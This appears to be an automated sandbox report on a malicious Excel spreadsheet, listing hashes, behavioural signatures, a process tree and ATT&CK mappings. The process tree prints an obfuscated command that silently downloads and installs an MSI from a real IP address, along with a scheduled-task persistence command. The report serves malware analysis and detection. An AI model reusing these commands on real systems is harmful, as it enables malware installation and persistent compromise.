0018a5d18456d36582b1020be78a055c9c126a8036c618ea956faf722d995bb2

General

Target

978905601.xls
Size

172KB
MD5

2a6b788cb122676d3890312e754bfc90
SHA1

5744f5012d120edd79f1bb1ed0272b28712127e4
SHA256

0018a5d18456d36582b1020be78a055c9c126a8036c618ea956faf722d995bb2
SHA512

39a0f085979668395beb3d7a23144cbfeba6c849586bc7a4c5759dc455f3964877ea57795df19bf560a4c9a03a283f0671d656888c8969f8cb7ac58e84cc12a5

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	552	1400	cmd.exe	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

msiexec.exeMSIDE30.tmp

pid	process
1500	msiexec.exe
1500	msiexec.exe
760	MSIDE30.tmp
760	MSIDE30.tmp
760	MSIDE30.tmp
760	MSIDE30.tmp
760	MSIDE30.tmp
760	MSIDE30.tmp
760	MSIDE30.tmp
760	MSIDE30.tmp
760	MSIDE30.tmp
760	MSIDE30.tmp

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1400 EXCEL.EXE
Blacklisted process makes network request 1 IoCs

Processes:

msiexec.exe

flow pid process

3 1500 msiexec.exe
Use of msiexec (install) with remote resource 1 IoCs

Processes:

msiexec.exe

pid process

1072 msiexec.exe
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1960 schtasks.exe
Modifies data under HKEY_USERS 1 IoCs

Processes:

msiexec.exe

description ioc process

Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad msiexec.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1400 EXCEL.EXE
1400 EXCEL.EXE
1400 EXCEL.EXE
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

msiexec.exe

pid process

1072 msiexec.exe

pid	process
1400	EXCEL.EXE

flow	pid	process
3	1500	msiexec.exe

pid	process
1072	msiexec.exe

pid	process
1960	schtasks.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	msiexec.exe

pid	process
1400	EXCEL.EXE
1400	EXCEL.EXE
1400	EXCEL.EXE

pid	process
1072	msiexec.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

Processes:

msiexec.exemsiexec.exeMSIDE30.tmp

description	pid	process
Token: SeShutdownPrivilege	1072	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1072	msiexec.exe
Token: SeRestorePrivilege	1500	msiexec.exe
Token: SeTakeOwnershipPrivilege	1500	msiexec.exe
Token: SeSecurityPrivilege	1500	msiexec.exe
Token: SeCreateTokenPrivilege	1072	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1072	msiexec.exe
Token: SeLockMemoryPrivilege	1072	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1072	msiexec.exe
Token: SeMachineAccountPrivilege	1072	msiexec.exe
Token: SeTcbPrivilege	1072	msiexec.exe
Token: SeSecurityPrivilege	1072	msiexec.exe
Token: SeTakeOwnershipPrivilege	1072	msiexec.exe
Token: SeLoadDriverPrivilege	1072	msiexec.exe
Token: SeSystemProfilePrivilege	1072	msiexec.exe
Token: SeSystemtimePrivilege	1072	msiexec.exe
Token: SeProfSingleProcessPrivilege	1072	msiexec.exe
Token: SeIncBasePriorityPrivilege	1072	msiexec.exe
Token: SeCreatePagefilePrivilege	1072	msiexec.exe
Token: SeCreatePermanentPrivilege	1072	msiexec.exe
Token: SeBackupPrivilege	1072	msiexec.exe
Token: SeRestorePrivilege	1072	msiexec.exe
Token: SeShutdownPrivilege	1072	msiexec.exe
Token: SeDebugPrivilege	1072	msiexec.exe
Token: SeAuditPrivilege	1072	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1072	msiexec.exe
Token: SeChangeNotifyPrivilege	1072	msiexec.exe
Token: SeRemoteShutdownPrivilege	1072	msiexec.exe
Token: SeUndockPrivilege	1072	msiexec.exe
Token: SeSyncAgentPrivilege	1072	msiexec.exe
Token: SeEnableDelegationPrivilege	1072	msiexec.exe
Token: SeManageVolumePrivilege	1072	msiexec.exe
Token: SeImpersonatePrivilege	1072	msiexec.exe
Token: SeCreateGlobalPrivilege	1072	msiexec.exe
Token: SeRestorePrivilege	1500	msiexec.exe
Token: SeTakeOwnershipPrivilege	1500	msiexec.exe
Token: SeRestorePrivilege	1500	msiexec.exe
Token: SeTakeOwnershipPrivilege	1500	msiexec.exe
Token: SeRestorePrivilege	1500	msiexec.exe
Token: SeTakeOwnershipPrivilege	1500	msiexec.exe
Token: SeRestorePrivilege	1500	msiexec.exe
Token: SeTakeOwnershipPrivilege	1500	msiexec.exe
Token: SeDebugPrivilege	760	MSIDE30.tmp
Token: SeRestorePrivilege	1500	msiexec.exe
Token: SeTakeOwnershipPrivilege	1500	msiexec.exe
Token: SeRestorePrivilege	1500	msiexec.exe
Token: SeTakeOwnershipPrivilege	1500	msiexec.exe

Executes dropped EXE 6 IoCs

Processes:

MSIDE30.tmpMSIDE30.tmpMSIDE30.tmpMSIDE30.tmpMSIDE30.tmpMSIDE30.tmp

pid process

760 MSIDE30.tmp
2024 MSIDE30.tmp
612 MSIDE30.tmp
1164 MSIDE30.tmp
684 MSIDE30.tmp
1360 MSIDE30.tmp
Office loads VBA resources, possible macro or embedded object present

pid	process
760	MSIDE30.tmp
2024	MSIDE30.tmp
612	MSIDE30.tmp
1164	MSIDE30.tmp
684	MSIDE30.tmp
1360	MSIDE30.tmp

Drops file in Windows directory 6 IoCs

Processes:

msiexec.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\MSID779.tmp	msiexec.exe
File created	C:\Windows\Installer\1dae4.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDDB2.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDE30.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\1dae4.ipi	msiexec.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

EXCEL.EXEcmd.exemsiexec.exeMSIDE30.tmp

description	pid	process	target process
PID 1400 wrote to memory of 552	1400	EXCEL.EXE	cmd.exe
PID 1400 wrote to memory of 552	1400	EXCEL.EXE	cmd.exe
PID 1400 wrote to memory of 552	1400	EXCEL.EXE	cmd.exe
PID 552 wrote to memory of 1072	552	cmd.exe	msiexec.exe
PID 552 wrote to memory of 1072	552	cmd.exe	msiexec.exe
PID 552 wrote to memory of 1072	552	cmd.exe	msiexec.exe
PID 552 wrote to memory of 1072	552	cmd.exe	msiexec.exe
PID 552 wrote to memory of 1072	552	cmd.exe	msiexec.exe
PID 1500 wrote to memory of 760	1500	msiexec.exe	MSIDE30.tmp
PID 1500 wrote to memory of 760	1500	msiexec.exe	MSIDE30.tmp
PID 1500 wrote to memory of 760	1500	msiexec.exe	MSIDE30.tmp
PID 1500 wrote to memory of 760	1500	msiexec.exe	MSIDE30.tmp
PID 760 wrote to memory of 1960	760	MSIDE30.tmp	schtasks.exe
PID 760 wrote to memory of 1960	760	MSIDE30.tmp	schtasks.exe
PID 760 wrote to memory of 1960	760	MSIDE30.tmp	schtasks.exe
PID 760 wrote to memory of 1960	760	MSIDE30.tmp	schtasks.exe
PID 760 wrote to memory of 2024	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 2024	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 2024	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 2024	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 612	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 612	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 612	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 612	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 1164	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 1164	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 1164	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 1164	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 684	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 684	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 684	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 684	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 1360	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 1360	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 1360	760	MSIDE30.tmp	MSIDE30.tmp
PID 760 wrote to memory of 1360	760	MSIDE30.tmp	MSIDE30.tmp

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\978905601.xls
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1400

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c ms^iE^x^ec /i http://199.195.250.60/gg/978905601.msi /qn
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:552

C:\Windows\system32\msiexec.exe
msiExec /i http://199.195.250.60/gg/978905601.msi /qn
3⤵
- Use of msiexec (install) with remote resource
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
PID:1072

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1500

C:\Windows\Installer\MSIDE30.tmp
"C:\Windows\Installer\MSIDE30.tmp"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:760

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\qzoutxtRkpOte" /XML "C:\Users\Admin\AppData\Local\Temp\tmp78D7.tmp"
3⤵
- Creates scheduled task(s)
PID:1960

C:\Windows\Installer\MSIDE30.tmp
"{path}"
3⤵
- Executes dropped EXE
PID:2024

C:\Windows\Installer\MSIDE30.tmp
"{path}"
3⤵
- Executes dropped EXE
PID:612

C:\Windows\Installer\MSIDE30.tmp
"{path}"
3⤵
- Executes dropped EXE
PID:1164

C:\Windows\Installer\MSIDE30.tmp
"{path}"
3⤵
- Executes dropped EXE
PID:684

C:\Windows\Installer\MSIDE30.tmp
"{path}"
3⤵
- Executes dropped EXE
PID:1360

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\tmp78D7.tmp

Download Submit
C:\Windows\Installer\MSIDE30.tmp

Download Submit
C:\Windows\Installer\MSIDE30.tmp

Download Submit
C:\Windows\Installer\MSIDE30.tmp

Download Submit
C:\Windows\Installer\MSIDE30.tmp

Download Submit
C:\Windows\Installer\MSIDE30.tmp

Download Submit
C:\Windows\Installer\MSIDE30.tmp

Download Submit
C:\Windows\Installer\MSIDE30.tmp

Download Submit
memory/552-2-0x0000000000000000-mapping.dmp

Download
memory/760-12-0x0000000000000000-0x0000000000000000-disk.dmp

Download
memory/760-8-0x0000000000000000-mapping.dmp

Download
memory/1072-3-0x0000000000000000-mapping.dmp

Download
memory/1072-23-0x0000000002120000-0x0000000002124000-memory.dmp

Filesize
16KB

Download
memory/1400-0-0x0000000006060000-0x0000000006160000-memory.dmp

Filesize
1024KB

Download
memory/1400-1-0x0000000006060000-0x0000000006160000-memory.dmp

Filesize
1024KB

Download
memory/1500-6-0x0000000001510000-0x0000000001514000-memory.dmp

Filesize
16KB

Download
memory/1500-5-0x0000000001510000-0x0000000001514000-memory.dmp

Filesize
16KB

Download
memory/1500-4-0x0000000001B30000-0x0000000001B34000-memory.dmp

Filesize
16KB

Download
memory/1500-20-0x0000000002760000-0x0000000002764000-memory.dmp

Filesize
16KB

Download
memory/1500-21-0x0000000001510000-0x0000000001514000-memory.dmp

Filesize
16KB

Download
memory/1500-22-0x0000000002760000-0x0000000002764000-memory.dmp

Filesize
16KB

Download
memory/1960-13-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads